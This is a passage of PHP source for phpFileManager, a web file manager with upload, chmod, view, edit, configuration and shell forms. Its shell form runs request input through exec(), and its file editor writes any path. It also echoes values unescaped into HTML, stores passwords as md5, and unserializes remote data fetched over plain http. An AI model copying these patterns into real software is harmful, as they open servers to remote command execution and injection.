                      <td bgcolor=\"#DDDDDD\"><nobr><a href=\"" . $path_info["basename"] . "?frame=3&or_by=$or2&current_dir=$current_dir\">" . et('Perm') . "</a></nobr></td>";
                if ($islinux) $out.= "
                      <td bgcolor=\"#DDDDDD\"><nobr><a href=\"" . $path_info["basename"] . "?frame=3&or_by=$or3&current_dir=$current_dir\">" . et('Owner') . "</a></td>
                      <td bgcolor=\"#DDDDDD\"><nobr><a href=\"" . $path_info["basename"] . "?frame=3&or_by=$or4&current_dir=$current_dir\">" . et('Group') . "</a></nobr></td>";
                $out.= "
                      <td bgcolor=\"#DDDDDD\"><nobr><a href=\"" . $path_info["basename"] . "?frame=3&or_by=$or5&current_dir=$current_dir\">" . et('Size') . "</a></nobr></td>
                      <td bgcolor=\"#DDDDDD\"><nobr><a href=\"" . $path_info["basename"] . "?frame=3&or_by=$or6&current_dir=$current_dir\">" . et('Date') . "</a></nobr></td>
                      <td bgcolor=\"#DDDDDD\"><nobr><a href=\"" . $path_info["basename"] . "?frame=3&or_by=$or7&current_dir=$current_dir\">" . et('Type') . "</a></nobr></td>
                      <td bgcolor=\"#DDDDDD\" colspan=50>&nbsp;</td>
                </tr>";
            }
            foreach ($file_out as $k => $v) {
                while (count($file_out[$k]) < $max_opt) {
                    $file_out[$k][] = "<td>&nbsp;</td>";
                }
                $out.= implode($file_out[$k]);
                $out.= "</tr>";
            }
            $out.= "
                <tr>
                <td bgcolor=\"#DDDDDD\" colspan=50><nobr>
                      <input type=\"button\" style=\"width:80\" onclick=\"selectANI(this)\" id=\"ANI1\" value=\"" . et('SelAll') . "\">
                      <input type=\"button\" style=\"width:80\" onclick=\"selectANI(this)\" value=\"" . et('SelInverse') . "\">
                      <input type=\"button\" style=\"width:80\" onclick=\"test(4)\" value=\"" . et('Rem') . "\">
                      <input type=\"button\" style=\"width:80\" onclick=\"sel_dir(5)\" value=\"" . et('Copy') . "\">
                      <input type=\"button\" style=\"width:80\" onclick=\"sel_dir(6)\" value=\"" . et('Move') . "\">
                      <input type=\"button\" style=\"width:100\" onclick=\"test_prompt(71)\" value=\"" . et('Compress') . "\">";
            if ($islinux) $out.= "
                      <input type=\"button\" style=\"width:100\" onclick=\"resolveIDs()\" value=\"" . et('ResolveIDs') . "\">";
            $out.= "
                      <input type=\"button\" style=\"width:100\" onclick=\"chmod_form()\" value=\"" . et('Perms') . "\">";
            $out.= "
                </nobr></td>
                </tr>";
            $out.= "
            </form>";
            $out.= "
                <tr><td bgcolor=\"#DDDDDD\" colspan=50><b>$dir_count " . et('Dir_s') . " " . et('And') . " $file_count " . et('File_s') . " = " . format_size($total_size) . "</td></tr>";
            if ($quota_mb) {
                $out.= "
                <tr><td bgcolor=\"#DDDDDD\" colspan=50><b>" . et('Partition') . ": " . format_size(($quota_mb * 1024 * 1024)) . " " . et('Total') . " - " . format_size(($quota_mb * 1024 * 1024) - total_size($fm_current_root)) . " " . et('Free') . "</td></tr>";
            } else {
                $out.= "
                <tr><td bgcolor=\"#DDDDDD\" colspan=50><b>" . et('Partition') . ": " . format_size(disk_total_space($current_dir)) . " " . et('Total') . " - " . format_size(disk_free_space($current_dir)) . " " . et('Free') . "</td></tr>";
            }
            $tf = getmicrotime();
            $tt = ($tf - $ti);
            $out.= "
                <tr><td bgcolor=\"#DDDDDD\" colspan=50><b>" . et('RenderTime') . ": " . substr($tt, 0, strrpos($tt, ".") + 5) . " " . et('Seconds') . "</td></tr>";
            $out.= "
            <script language=\"Javascript\" type=\"text/javascript\">
            <!--
                update_sel_status();
            //-->
            </script>";
        } else {
            $out.= "
            <tr>
            <td bgcolor=\"#DDDDDD\" width=\"1%\">$uplink<td bgcolor=\"#DDDDDD\" colspan=50><nobr><a href=\"" . $path_info["basename"] . "?frame=3&current_dir=$current_dir\">$current_dir</a></nobr>
            <tr><td bgcolor=\"#DDDDDD\" colspan=50>" . et('EmptyDir') . ".</tr>";
        }
    } else $out.= "<tr><td><font color=red>" . et('IOError') . ".<br>$current_dir</font>";
    $out.= "</table>";
    echo $out;
}
function upload_form() {
    global $_FILES, $current_dir, $dir_dest, $fechar, $quota_mb, $path_info;
    $num_uploads = 5;
    html_header();
    echo "<body marginwidth=\"0\" marginheight=\"0\">";
    if (count($_FILES) == 0) {
        echo "
        <table height=\"100%\" border=0 cellspacing=0 cellpadding=2 align=center>
        <form name=\"upload_form\" action=\"" . $path_info["basename"] . "\" method=\"post\" ENCTYPE=\"multipart/form-data\">
        <input type=hidden name=dir_dest value=\"$current_dir\">
        <input type=hidden name=action value=10>
        <tr><th colspan=2>" . et('Upload') . "</th></tr>
        <tr><td align=right><b>" . et('Destination') . ":<td><b><nobr>$current_dir</nobr>";
        for ($x = 0;$x < $num_uploads;$x++) {
            echo "<tr><td width=1 align=right><b>" . et('File') . ":<td><nobr><input type=\"file\" name=\"file$x\"></nobr>";
            $test_js.= "(document.upload_form.file$x.value.length>0)||";
        }
        echo "
        <input type=button value=\"" . et('Send') . "\" onclick=\"test_upload_form()\"></nobr>
        <tr><td> <td><input type=checkbox name=fechar value=\"1\"> <a href=\"JavaScript:troca();\">" . et('AutoClose') . "</a>
        <tr><td colspan=2> </td></tr>
        </form>
        </table>
        <script language=\"Javascript\" type=\"text/javascript\">
        <!--
            function troca(){
                if(document.upload_form.fechar.checked){document.upload_form.fechar.checked=false;}else{document.upload_form.fechar.checked=true;}
            }
            foi = false;
            function test_upload_form(){
                if(" . substr($test_js, 0, strlen($test_js) - 2) . "){
                    if (foi) alert('" . et('SendingForm') . "...');
                    else {
                        foi = true;
                        document.upload_form.submit();
                    }
                } else alert('" . et('NoFileSel') . ".');
            }
            window.moveTo((window.screen.width-400)/2,((window.screen.height-200)/2)-20);
        //-->
        </script>";
    } else {
        $out = "<tr><th colspan=2>" . et('UploadEnd') . "</th></tr>
                <tr><th colspan=2><nobr>" . et('Destination') . ": $dir_dest</nobr>";
        for ($x = 0;$x < $num_uploads;$x++) {
            $temp_file = $_FILES["file" . $x]["tmp_name"];
            $filename = $_FILES["file" . $x]["name"];
            if (strlen($filename)) $resul = save_upload($temp_file, $filename, $dir_dest);
            else $resul = 7;
            switch ($resul) {
                case 1:
                    $out.= "<tr><td><b>" . str_zero($x + 1, 3) . ".<font color=green><b> " . et('FileSent') . ":</font><td>" . $filename . "</td></tr>
";
                break;
                case 2:
                    $out.= "<tr><td colspan=2><font color=red><b>" . et('IOError') . "</font></td></tr>
";
                    $x = $upload_num;
                break;
                case 3:
                    $out.= "<tr><td colspan=2><font color=red><b>" . et('SpaceLimReached') . " ($quota_mb Mb)</font></td></tr>
";
                    $x = $upload_num;
                break;
                case 4:
                    $out.= "<tr><td><b>" . str_zero($x + 1, 3) . ".<font color=red><b> " . et('InvExt') . ":</font><td>" . $filename . "</td></tr>
";
                break;
                case 5:
                    $out.= "<tr><td><b>" . str_zero($x + 1, 3) . ".<font color=red><b> " . et('FileNoOverw') . "</font><td>" . $filename . "</td></tr>
";
                break;
                case 6:
                    $out.= "<tr><td><b>" . str_zero($x + 1, 3) . ".<font color=green><b> " . et('FileOverw') . ":</font><td>" . $filename . "</td></tr>
";
                break;
                case 7:
                    $out.= "<tr><td colspan=2><b>" . str_zero($x + 1, 3) . ".<font color=red><b> " . et('FileIgnored') . "</font></td></tr>
";
            }
        }
        if ($fechar) {
            echo "
            <script language=\"Javascript\" type=\"text/javascript\">
            <!--
                window.close();
            //-->
            </script>
            ";
        } else {
            echo "
            <table height=\"100%\" border=0 cellspacing=0 cellpadding=2 align=center>
            $out
            <tr><td colspan=2> </td></tr>
            </table>
            <script language=\"Javascript\" type=\"text/javascript\">
            <!--
                window.focus();
            //-->
            </script>
            ";
        }
    }
    echo "</body>
</html>";
}
function chmod_form() {
    html_header("
    <script language=\"Javascript\" type=\"text/javascript\">
    <!--
    function octalchange()
    {
        var val = document.chmod_form.t_total.value;
        var stickybin = parseInt(val.charAt(0)).toString(2);
        var ownerbin = parseInt(val.charAt(1)).toString(2);
        while (ownerbin.length<3) { ownerbin=\"0\"+ownerbin; };
        var groupbin = parseInt(val.charAt(2)).toString(2);
        while (groupbin.length<3) { groupbin=\"0\"+groupbin; };
        var otherbin = parseInt(val.charAt(3)).toString(2);
        while (otherbin.length<3) { otherbin=\"0\"+otherbin; };
        document.chmod_form.sticky.checked = parseInt(stickybin.charAt(0));
        document.chmod_form.owner4.checked = parseInt(ownerbin.charAt(0));
        document.chmod_form.owner2.checked = parseInt(ownerbin.charAt(1));
        document.chmod_form.owner1.checked = parseInt(ownerbin.charAt(2));
        document.chmod_form.group4.checked = parseInt(groupbin.charAt(0));
        document.chmod_form.group2.checked = parseInt(groupbin.charAt(1));
        document.chmod_form.group1.checked = parseInt(groupbin.charAt(2));
        document.chmod_form.other4.checked = parseInt(otherbin.charAt(0));
        document.chmod_form.other2.checked = parseInt(otherbin.charAt(1));
        document.chmod_form.other1.checked = parseInt(otherbin.charAt(2));
        calc_chmod(1);
    };

    function calc_chmod(nototals)
    {
      var users = new Array(\"owner\", \"group\", \"other\");
      var totals = new Array(\"\",\"\",\"\");
      var syms = new Array(\"\",\"\",\"\");

        for (var i=0; i<users.length; i++)
        {
            var user=users[i];
            var field4 = user + \"4\";
            var field2 = user + \"2\";
            var field1 = user + \"1\";
            var symbolic = \"sym_\" + user;
            var number = 0;
            var sym_string = \"\";
            var sticky = \"0\";
            var sticky_sym = \" \";
            if (document.chmod_form.sticky.checked){
                sticky = \"1\";
                sticky_sym = \"t\";
            }
            if (document.chmod_form[field4].checked == true) { number += 4; }
            if (document.chmod_form[field2].checked == true) { number += 2; }
            if (document.chmod_form[field1].checked == true) { number += 1; }

            if (document.chmod_form[field4].checked == true) {
                sym_string += \"r\";
            } else {
                sym_string += \"-\";
            }
            if (document.chmod_form[field2].checked == true) {
                sym_string += \"w\";
            } else {
                sym_string += \"-\";
            }
            if (document.chmod_form[field1].checked == true) {
                sym_string += \"x\";
            } else {
                sym_string += \"-\";
            }

            totals[i] = totals[i]+number;
            syms[i] =  syms[i]+sym_string;

      };
        if (!nototals) document.chmod_form.t_total.value = sticky + totals[0] + totals[1] + totals[2];
        document.chmod_form.sym_total.value = syms[0] + syms[1] + syms[2] + sticky_sym;
    }
    function sticky_change(){
        document.chmod_form.sticky.checked = !(document.chmod_form.sticky.checked);
    }
	function apply_chmod(){
        if (confirm('" . et('AlterPermTo') . " \' '+document.chmod_form.t_total.value+' \' ?
')){
            window.opener.set_chmod_arg(document.chmod_form.t_total.value);
			window.close();
		}
	}

    window.onload=octalchange
    window.moveTo((window.screen.width-400)/2,((window.screen.height-200)/2)-20);
    //-->
    </script>");
    echo "<body marginwidth=\"0\" marginheight=\"0\">
    <form name=\"chmod_form\">
    <TABLE BORDER=\"0\" CELLSPACING=\"0\" CELLPADDING=\"4\" ALIGN=CENTER>
    <tr><th colspan=4>" . et('Perms') . "</th></tr>
    <TR ALIGN=\"LEFT\" VALIGN=\"MIDDLE\">
    <TD><input type=\"text\" name=\"t_total\" value=\"0755\" size=\"4\" onKeyUp=\"octalchange()\"> </TD>
    <TD><input type=\"text\" name=\"sym_total\" value=\"\" size=\"12\" READONLY=\"1\"></TD>
    </TR>
    </TABLE>
    <table cellpadding=\"2\" cellspacing=\"0\" border=\"0\" ALIGN=CENTER>
    <tr bgcolor=\"#333333\">
    <td WIDTH=\"60\" align=\"left\"> </td>
    <td WIDTH=\"55\" align=\"center\" style=\"color:#FFFFFF\"><b>" . et('Owner') . "
    </b></td>
    <td WIDTH=\"55\" align=\"center\" style=\"color:#FFFFFF\"><b>" . et('Group') . "
    </b></td>
    <td WIDTH=\"55\" align=\"center\" style=\"color:#FFFFFF\"><b>" . et('Other') . "
    <b></td>
    </tr>
    <tr bgcolor=\"#DDDDDD\">
    <td WIDTH=\"60\" align=\"left\" nowrap BGCOLOR=\"#FFFFFF\">" . et('Read') . "</td>
    <td WIDTH=\"55\" align=\"center\" bgcolor=\"#EEEEEE\">
    <input type=\"checkbox\" name=\"owner4\" value=\"4\" onclick=\"calc_chmod()\">
    </td>
    <td WIDTH=\"55\" align=\"center\" bgcolor=\"#FFFFFF\"><input type=\"checkbox\" name=\"group4\" value=\"4\" onclick=\"calc_chmod()\">
    </td>
    <td WIDTH=\"55\" align=\"center\" bgcolor=\"#EEEEEE\">
    <input type=\"checkbox\" name=\"other4\" value=\"4\" onclick=\"calc_chmod()\">
    </td>
    </tr>
    <tr bgcolor=\"#DDDDDD\">
    <td WIDTH=\"60\" align=\"left\" nowrap BGCOLOR=\"#FFFFFF\">" . et('Write') . "</td>
    <td WIDTH=\"55\" align=\"center\" bgcolor=\"#EEEEEE\">
    <input type=\"checkbox\" name=\"owner2\" value=\"2\" onclick=\"calc_chmod()\"></td>
    <td WIDTH=\"55\" align=\"center\" bgcolor=\"#FFFFFF\"><input type=\"checkbox\" name=\"group2\" value=\"2\" onclick=\"calc_chmod()\">
    </td>
    <td WIDTH=\"55\" align=\"center\" bgcolor=\"#EEEEEE\">
    <input type=\"checkbox\" name=\"other2\" value=\"2\" onclick=\"calc_chmod()\">
    </td>
    </tr>
    <tr bgcolor=\"#DDDDDD\">
    <td WIDTH=\"60\" align=\"left\" nowrap BGCOLOR=\"#FFFFFF\">" . et('Exec') . "</td>
    <td WIDTH=\"55\" align=\"center\" bgcolor=\"#EEEEEE\">
    <input type=\"checkbox\" name=\"owner1\" value=\"1\" onclick=\"calc_chmod()\">
    </td>
    <td WIDTH=\"55\" align=\"center\" bgcolor=\"#FFFFFF\"><input type=\"checkbox\" name=\"group1\" value=\"1\" onclick=\"calc_chmod()\">
    </td>
    <td WIDTH=\"55\" align=\"center\" bgcolor=\"#EEEEEE\">
    <input type=\"checkbox\" name=\"other1\" value=\"1\" onclick=\"calc_chmod()\">
    </td>
    </tr>
    </TABLE>
    <TABLE BORDER=\"0\" CELLSPACING=\"0\" CELLPADDING=\"4\" ALIGN=CENTER>
    <tr><td colspan=2><input type=checkbox name=sticky value=\"1\" onclick=\"calc_chmod()\"> <a href=\"JavaScript:sticky_change();\">" . et('StickyBit') . "</a><td colspan=2 align=right><input type=button value=\"" . et('Apply') . "\" onClick=\"apply_chmod()\"></tr>
    </table>
    </form>
    </body>
</html>";
}
function get_mime_type($ext = '') {
    $mimes = array('hqx' => 'application/mac-binhex40', 'cpt' => 'application/mac-compactpro', 'doc' => 'application/msword', 'bin' => 'application/macbinary', 'dms' => 'application/octet-stream', 'lha' => 'application/octet-stream', 'lzh' => 'application/octet-stream', 'exe' => 'application/octet-stream', 'class' => 'application/octet-stream', 'psd' => 'application/octet-stream', 'so' => 'application/octet-stream', 'sea' => 'application/octet-stream', 'dll' => 'application/octet-stream', 'oda' => 'application/oda', 'pdf' => 'application/pdf', 'ai' => 'application/postscript', 'eps' => 'application/postscript', 'ps' => 'application/postscript', 'smi' => 'application/smil', 'smil' => 'application/smil', 'mif' => 'application/vnd.mif', 'xls' => 'application/vnd.ms-excel', 'ppt' => 'application/vnd.ms-powerpoint', 'pptx' => 'application/vnd.ms-powerpoint', 'wbxml' => 'application/vnd.wap.wbxml', 'wmlc' => 'application/vnd.wap.wmlc', 'dcr' => 'application/x-director', 'dir' => 'application/x-director', 'dxr' => 'application/x-director', 'dvi' => 'application/x-dvi', 'gtar' => 'application/x-gtar', 'php' => 'application/x-httpd-php', 'php4' => 'application/x-httpd-php', 'php3' => 'application/x-httpd-php', 'phtml' => 'application/x-httpd-php', 'phps' => 'application/x-httpd-php-source', 'js' => 'application/x-javascript', 'swf' => 'application/x-shockwave-flash', 'sit' => 'application/x-stuffit', 'tar' => 'application/x-tar', 'tgz' => 'application/x-tar', 'xhtml' => 'application/xhtml+xml', 'xht' => 'application/xhtml+xml', 'zip' => 'application/zip', 'mid' => 'audio/midi', 'midi' => 'audio/midi', 'mpga' => 'audio/mpeg', 'mp2' => 'audio/mpeg', 'mp3' => 'audio/mpeg', 'aif' => 'audio/x-aiff', 'aiff' => 'audio/x-aiff', 'aifc' => 'audio/x-aiff', 'ram' => 'audio/x-pn-realaudio', 'rm' => 'audio/x-pn-realaudio', 'rpm' => 'audio/x-pn-realaudio-plugin', 'ra' => 'audio/x-realaudio', 'rv' => 'video/vnd.rn-realvideo', 'wav' => 'audio/x-wav', 'bmp' => 'image/bmp', 'gif' => 'image/gif', 'jpeg' => 'image/jpeg', 'jpg' => 'image/jpeg', 'jpe' => 'image/jpeg', 'png' => 'image/png', 'tiff' => 'image/tiff', 'tif' => 'image/tiff', 'css' => 'text/css', 'html' => 'text/html', 'htm' => 'text/html', 'shtml' => 'text/html', 'txt' => 'text/plain', 'text' => 'text/plain', 'log' => 'text/plain', 'rtx' => 'text/richtext', 'rtf' => 'text/rtf', 'xml' => 'text/xml', 'xsl' => 'text/xml', 'mpeg' => 'video/mpeg', 'mpg' => 'video/mpeg', 'mpe' => 'video/mpeg', 'qt' => 'video/quicktime', 'mov' => 'video/quicktime', 'avi' => 'video/x-msvideo', 'movie' => 'video/x-sgi-movie', 'doc' => 'application/msword', 'docx' => 'application/msword', 'word' => 'application/msword', 'xl' => 'application/excel', 'xls' => 'application/excel', 'xlsx' => 'application/excel', 'eml' => 'message/rfc822');
    return (!isset($mimes[lowercase($ext) ])) ? 'application/octet-stream' : $mimes[lowercase($ext) ];
}
function view() {
    global $doc_root, $path_info, $url_info, $current_dir, $islinux, $filename, $passthru;
    if (intval($passthru)) {
        $file = $current_dir . $filename;
        if (file_exists($file)) {
            $is_denied = false;
            foreach ($download_ext_filter as $key => $ext) {
                if (eregi($ext, $filename)) {
                    $is_denied = true;
                    break;
                }
            }
            if (!$is_denied) {
                if ($fh = fopen("$file", "rb")) {
                    fclose($fh);
                    $ext = pathinfo($file, PATHINFO_EXTENSION);
                    $ctype = get_mime_type($ext);
                    if ($ctype == "application/octet-stream") $ctype = "text/plain";
                    header("Pragma: public");
                    header("Expires: 0");
                    header("Connection: close");
                    header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
                    header("Cache-Control: public");
                    header("Content-Description: File Transfer");
                    header("Content-Type: " . $ctype);
                    header("Content-Disposition: inline; filename=\"" . pathinfo($file, PATHINFO_BASENAME) . "\";");
                    header("Content-Transfer-Encoding: binary");
                    header("Content-Length: " . filesize($file));
                    @readfile($file);
                    exit();
                } else alert(et('ReadDenied') . ": " . $file);
            } else alert(et('ReadDenied') . ": " . $file);
        } else alert(et('FileNotFound') . ": " . $file);
        echo "
	    <script language=\"Javascript\" type=\"text/javascript\">
	    <!--
	        window.close();
	    //-->
	    </script>";
    } else {
        html_header();
        echo "<body marginwidth=\"0\" marginheight=\"0\">";
        $is_reachable_thru_webserver = (stristr($current_dir, $doc_root) !== false);
        if ($is_reachable_thru_webserver) {
            $url = $url_info["scheme"] . "://" . $url_info["host"];
            if (strlen($url_info["port"])) $url.= ":" . $url_info["port"];
            // Malditas variaveis de sistema!! No windows doc_root  sempre em lowercase... cad o str_ireplace() ??
            $url.= str_replace($doc_root, "", "/" . $current_dir) . $filename;
        } else {
            $url = addslashes($path_info["basename"]) . "?action=4&current_dir=" . addslashes($current_dir) . "&filename=" . addslashes($filename) . "&passthru=1";
        }
        echo "
	    <script language=\"Javascript\" type=\"text/javascript\">
	    <!--
        	window.moveTo((window.screen.width-800)/2,((window.screen.height-600)/2)-20);
	        document.location.href='$url';
	    //-->
	    </script>
    	</body>
</html>";
    }
}
function edit_file_form() {
    global $current_dir, $filename, $file_data, $save_file, $path_info;
    $file = $current_dir . $filename;
    if ($save_file) {
        $fh = fopen($file, "w");
        fputs($fh, $file_data, strlen($file_data));
        fclose($fh);
    }
    $fh = fopen($file, "r");
    $file_data = fread($fh, filesize($file));
    fclose($fh);
    html_header();
    echo "<body marginwidth=\"0\" marginheight=\"0\">
    <table border=0 cellspacing=0 cellpadding=5 align=center>
    <form name=\"edit_form\" action=\"" . $path_info["basename"] . "\" method=\"post\">
    <input type=hidden name=action value=\"7\">
    <input type=hidden name=save_file value=\"1\">
    <input type=hidden name=current_dir value=\"$current_dir\">
    <input type=hidden name=filename value=\"$filename\">
    <tr><th colspan=2>" . $file . "</th></tr>
    <tr><td colspan=2><textarea name=file_data style='width:1000px;height:680px;'>" . html_encode($file_data) . "</textarea></td></tr>
    <tr><td><input type=button value=\"" . et('Refresh') . "\" onclick=\"document.edit_form_refresh.submit()\"></td><td align=right><input type=button value=\"" . et('SaveFile') . "\" onclick=\"go_save()\"></td></tr>
    </form>
    <form name=\"edit_form_refresh\" action=\"" . $path_info["basename"] . "\" method=\"post\">
    <input type=hidden name=action value=\"7\">
    <input type=hidden name=current_dir value=\"$current_dir\">
    <input type=hidden name=filename value=\"$filename\">
    </form>
    </table>
    <script language=\"Javascript\" type=\"text/javascript\">
    <!--
        window.moveTo((window.screen.width-1024)/2,((window.screen.height-728)/2)-20);
        function go_save(){";
    if (is_writable($file)) {
        echo "
        document.edit_form.submit();";
    } else {
        echo "
        if(confirm('" . et('ConfTrySave') . " ?')) document.edit_form.submit();";
    }
    echo "
        }
    //-->
    </script>
    </body>
</html>";
}
function config_form() {
    global $cfg;
    global $current_dir, $fm_self, $doc_root, $path_info, $fm_current_root, $lang, $error_reporting, $version;
    global $config_action, $newpass, $newlang, $newerror, $newfm_root;
    $Warning = "";
    switch ($config_action) {
        case 1:
            if ($fh = fopen("http://phpfm.sf.net/latest.php", "r")) {
                $data = "";
                while (!feof($fh)) $data.= fread($fh, 1024);
                fclose($fh);
                $data = unserialize($data);
                $ChkVerWarning = "<tr><td align=right> ";
                if (is_array($data) && count($data)) {
                    $ChkVerWarning.= "<a href=\"JavaScript:open_win('http://sourceforge.net')\">
                    <img src=\"http://sourceforge.net/sflogo.php?group_id=114392&type=1\" width=\"88\" height=\"31\" style=\"border: 1px solid #AAAAAA\" alt=\"SourceForge.net Logo\" />
					</a>";
                    if (str_replace(".", "", $data['version']) > str_replace(".", "", $cfg->data['version'])) $ChkVerWarning.= "<td><a href=\"JavaScript:open_win('http://prdownloads.sourceforge.net/phpfm/phpFileManager-" . $data['version'] . ".zip?download')\"><font color=green>" . et('ChkVerAvailable') . "</font></a>";
                    else $ChkVerWarning.= "<td><font color=red>" . et('ChkVerNotAvailable') . "</font>";
                } else $ChkVerWarning.= "<td><font color=red>" . et('ChkVerError') . "</font>";
            } else $ChkVerWarning.= "<td><font color=red>" . et('ChkVerError') . "</font>";
            break;
        case 2:
            $reload = false;
            if ($cfg->data['lang'] != $newlang) {
                $cfg->data['lang'] = $newlang;
                $lang = $newlang;
                $reload = true;
            }
            if ($cfg->data['error_reporting'] != $newerror) {
                $cfg->data['error_reporting'] = $newerror;
                $error_reporting = $newerror;
                $reload = true;
            }
            $newfm_root = format_path($newfm_root);
            if ($cfg->data['fm_root'] != $newfm_root) {
                $cfg->data['fm_root'] = $newfm_root;
                if (strlen($newfm_root)) $current_dir = $newfm_root;
                else $current_dir = $path_info["dirname"] . "/";
                setcookie("fm_current_root", $newfm_root, 0, "/");
                $reload = true;
            }
            $cfg->save();
            if ($reload) {
                reloadframe("window.opener.parent", 2);
                reloadframe("window.opener.parent", 3);
            }
            $Warning1 = et('ConfSaved') . "...";
            break;
        case 3:
            if ($cfg->data['auth_pass'] != md5($newpass)) {
                $cfg->data['auth_pass'] = md5($newpass);
                setcookie("loggedon", md5($newpass), 0, "/");
            }
            $cfg->save();
            $Warning2 = et('PassSaved') . "...";
            break;
        }
        html_header();
        echo "<body marginwidth=\"0\" marginheight=\"0\">
";
        echo "
    <table border=0 cellspacing=0 cellpadding=5 align=center width=\"100%\">
    <tr><td colspan=2 align=center><b>" . uppercase(et('Configurations')) . "</b></td></tr>
    </table>
    <table border=0 cellspacing=0 cellpadding=5 align=center width=\"100%\">
	<form>
    <tr><td align=right width=\"1%\">" . et('Version') . ":<td>$version (" . get_size($fm_self) . ")</td></tr>
    <tr><td align=right>" . et('Website') . ":<td><a href=\"JavaScript:open_win('http://phpfm.sf.net')\">http://phpfm.sf.net</a>&nbsp;&nbsp;&nbsp;<input type=button value=\"" . et('ChkVer') . "\" onclick=\"test_config_form(1)\"></td></tr>
	</form>";
        if (strlen($ChkVerWarning)) echo $ChkVerWarning . $data['warnings'];
        echo "
 	<style type=\"text/css\">
		.buymeabeer {
		    background: url('http://phpfm.sf.net/img/buymeabeer.png') 0 0 no-repeat;
		    text-indent: -9999px;
		    width: 128px;
		    height: 31px;
            border: none;
   			cursor: hand;
   			cursor: pointer;
		}
		.buymeabeer:hover {
		    background: url('http://phpfm.sf.net/img/buymeabeer.png') 0 -31px no-repeat;
		}
	</style>
	<tr><td align=right>Like this project?</td><td>
	<form name=\"buymeabeer_form\" action=\"https://www.paypal.com/cgi-bin/webscr\" method=\"post\">
		<input type=\"hidden\" name=\"cmd\" value=\"_xclick\">
		<input type=\"hidden\" name=\"business\" value=\"[email protected]\">
		<input type=\"hidden\" name=\"lc\" value=\"BR\">
		<input type=\"hidden\" name=\"item_name\" value=\"A Beer\">
		<input type=\"hidden\" name=\"button_subtype\" value=\"services\">
		<input type=\"hidden\" name=\"currency_code\" value=\"USD\">
		<input type=\"hidden\" name=\"tax_rate\" value=\"0.000\">
		<input type=\"hidden\" name=\"shipping\" value=\"0.00\">
		<input type=\"hidden\" name=\"bn\" value=\"PP-BuyNowBF:btn_buynowCC_LG.gif:NonHostedGuest\">
        <input type=\"submit\" class=\"buymeabeer\" value=\"buy me a beer\">
	        <input type=\"hidden\" name=\"buyer_credit_promo_code\" value=\"\">
	        <input type=\"hidden\" name=\"buyer_credit_product_category\" value=\"\">
	        <input type=\"hidden\" name=\"buyer_credit_shipping_method\" value=\"\">
	        <input type=\"hidden\" name=\"buyer_credit_user_address_change\" value=\"\">
	        <input type=\"hidden\" name=\"tax\" value=\"0\">
			<input type=\"hidden\" name=\"no_shipping\" value=\"1\">
	        <input type=\"hidden\" name=\"return\" value=\"http://phpfm.sf.net\">
	        <input type=\"hidden\" name=\"cancel_return\" value=\"http://phpfm.sf.net\">
	</form>
	</td></tr>
    <form name=\"config_form\" action=\"" . $path_info["basename"] . "\" method=\"post\">
    <input type=hidden name=action value=2>
    <input type=hidden name=config_action value=0>
    <tr><td align=right width=1><nobr>" . et('DocRoot') . ":</nobr><td>" . $doc_root . "</td></tr>
    <tr><td align=right><nobr>" . et('FLRoot') . ":</nobr><td><input type=text size=60 name=newfm_root value=\"" . $cfg->data['fm_root'] . "\" onkeypress=\"enterSubmit(event,'test_config_form(2)')\"></td></tr>
    <tr><td align=right>" . et('Lang') . ":<td>
	<select name=newlang>
    	<option value=cat>Catalan - by Pere Borr s AKA @Norl
        <option value=nl>Dutch - by Leon Buijs
		<option value=en>English - by Fabricio Seger Kolling
		<option value=fr1>French - by Jean Bilwes
        <option value=fr2>French - by Sharky
        <option value=fr3>French - by Michel Lainey
		<option value=de1>German - by Guido Ogrzal
        <option value=de2>German - by AXL
        <option value=de3>German - by Mathias Rothe
        <option value=it1>Italian - by Valerio Capello
        <option value=it2>Italian - by Federico Corr 
        <option value=it3>Italian - by Luca Zorzi
        <option value=it4>Italian - by Gianni
		<option value=kr>Korean - by Airplanez	
		<option value=pt>Portuguese - by Fabricio Seger Kolling
		<option value=es>Spanish - by Sh Studios
        <option value=ru>Russian - by   
        <option value=tr>Turkish - by Necdet Yazilimlari
	</select></td></tr>
    <tr><td align=right>" . et('ErrorReport') . ":<td><select name=newerror>
	<option value=\"0\">Disabled
	<option value=\"1\">Show Errors
	<option value=\"2\">Show Errors, Warnings and Notices
	</select></td></tr>
    <tr><td> <td><input type=button value=\"" . et('SaveConfig') . "\" onclick=\"test_config_form(2)\">";
        if (strlen($Warning1)) echo " <font color=red>$Warning1</font>";
        echo "
    <tr><td align=right>" . et('Pass') . ":<td><input type=text size=30 name=newpass value=\"\" onkeypress=\"enterSubmit(event,'test_config_form(3)')\"></td></tr>
    <tr><td> <td><input type=button value=\"" . et('SavePass') . "\" onclick=\"test_config_form(3)\">";
        if (strlen($Warning2)) echo " <font color=red>$Warning2</font>";
        echo "</td></tr>";
        echo "
    </form>
    </table>
    <script language=\"Javascript\" type=\"text/javascript\">
    <!--
        function set_select(sel,val){
            for(var x=0;x<sel.length;x++){
                if(sel.options[x].value==val){
                    sel.options[x].selected=true;
                    break;
                }
            }
        }
        set_select(document.config_form.newlang,'" . $cfg->data['lang'] . "');
        set_select(document.config_form.newerror,'" . $cfg->data['error_reporting'] . "');
        function test_config_form(arg){
            document.config_form.config_action.value = arg;
            document.config_form.submit();
        }
        function open_win(url){
            var w = 800;
            var h = 600;
            window.open(url, '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=yes,toolbar=yes,menubar=yes,location=yes');
        }
        window.moveTo((window.screen.width-600)/2,((window.screen.height-400)/2)-20);
        window.focus();
    //-->
    </script>
    ";
        echo "</body>
</html>";
    }
    function shell_form() {
        global $current_dir, $shell_form, $cmd_arg, $path_info;
        $data_out = "";
        if (strlen($cmd_arg)) {
            exec($cmd_arg, $mat);
            if (count($mat)) $data_out = trim(implode("
", $mat));
        }
        switch ($shell_form) {
            case 1:
                html_header();
                echo "
            <body marginwidth=\"0\" marginheight=\"0\">
            <table border=0 cellspacing=0 cellpadding=0 align=center>
            <form name=\"data_form\">
            <tr><td><textarea name=data_out rows=36 cols=105 READONLY=\"1\"></textarea></td></tr>
            </form>
            </table>
            </body></html>";
            break;
            case 2:
                html_header();
                echo "
            <body marginwidth=\"0\" marginheight=\"0\">
            <table border=0 cellspacing=0 cellpadding=0 align=center>
            <form name=\"shell_form\" action=\"" . $path_info["basename"] . "\" method=\"post\">
            <input type=hidden name=current_dir value=\"$current_dir\">
            <input type=hidden name=action value=\"9\">
            <input type=hidden name=shell_form value=\"2\">
            <tr><td align=center><input type=text size=90 name=cmd_arg></td></tr>
            </form>";
